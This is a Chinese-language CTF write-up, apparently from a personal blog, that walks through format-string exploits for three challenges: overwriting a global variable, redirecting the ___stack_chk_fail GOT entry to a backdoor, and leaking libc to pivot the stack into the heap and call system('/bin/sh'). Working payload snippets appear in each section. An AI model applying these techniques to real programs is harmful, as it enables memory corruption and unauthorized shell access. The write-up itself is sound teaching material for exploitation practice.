格式化字符串
# 格式化字符串
# jarvis oj fm
先查看,没有啥保护, 然后代码就是检测x是否等于4, 则直接给shell,然后非常明显的格式化字符串漏洞,
然后看到这个x的位置, .data:0804A02C
,
于是利用格式化字符串漏洞改掉对应的值就好了,
使用 %xx$n
, 但是看到栈中并没有对应的指针,我们要自己输入进去这个指针, exp:
tar = 0x0804A02C
payload = flat(tar, '%11$n')
sl(payload)
1
2
3
2
3
过程中的栈空间:
# hgame19 week2 fmt
首先是main函数的位置, 一个明显的格式化字符串漏洞,
然后看到函数内,有一个后门函数,
只有一次调用格式化字符串,就考虑直接修改值, 不能修改栈内的数据(因为需要先获取地址), 首先想到.fini_array
段, 但是没有写入权限,于是考虑写入到got表中,被直接调用的函数就一个___stack_chk_fail
, 于是修改它的got表为后门函数。
调试的位置,
运行printf后的对应got表:
控制触发栈溢出,然后调用canary检测报错的时候就会调用后门函数,
payload = b'%2126x%8$hn'.ljust(16, b'a')
payload += p64(0x0000000000601020)
payload = payload.ljust(0x60, b'b')
sl(payload)
1
2
3
4
2
3
4
# csaw15 contacts
首先是一个菜单,然后输入数据啥的,
然后在打印的最后会出现一个格式化字符串漏洞,主要使用的也就是增加和打印两个位置,
为了利用更顺利,增加对应函数只有触发格式化字符串的位置设置,其他位置默认填充,设置出来函数:
def add(desc):
sla('>>> ', '1')
sla('Name: ', 'aa')
sla('No: ', '/bin/sh\x00')
sla('description:', str(len(desc)))
sla('description:', desc)
def show():
sla('>>> ', '4')
1
2
3
4
5
6
7
8
9
10
2
3
4
5
6
7
8
9
10
思路是首先泄漏libc基地址,获取system地址,
复现的wiki的解法,栈迁移,主要修改ebp指针,然后将栈转移到堆里面,在堆里预设好system + 'b' * 4 + P_binsh的结构,直接会调用过去,
大体代码如下:
# --- leak system
add('asdf%2$pasdf%1$p')
show()
ru('asdf')
put_addr = int(re(10, 4), 16) - 11
ru('asdf')
binsh = int(re(9, 4), 16)
print('bin sh ', hex(binsh))
print('put addr', hex(put_addr))
libc_base = put_addr - 0x067b40
print('libc base', hex(libc_base))
system = libc_base + 0x03d200
print('system ', hex(system))
# --- system(binsh)
payload = flat('as%p', system, 'a' * 4, binsh)
add(payload)
show()
ru('asdf')
ru('asdf')
ru('as')
target = int(re(9, 9), 16) + 0x10
print('target ', hex(target))
# --- ebp => stack to heap
payload = '%{}x%6$n'.format(target)
add(payload)
show()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
到这里应该修改了ebp直接退出main函数即可
上次更新: 3/17/2025, 4:54:54 PM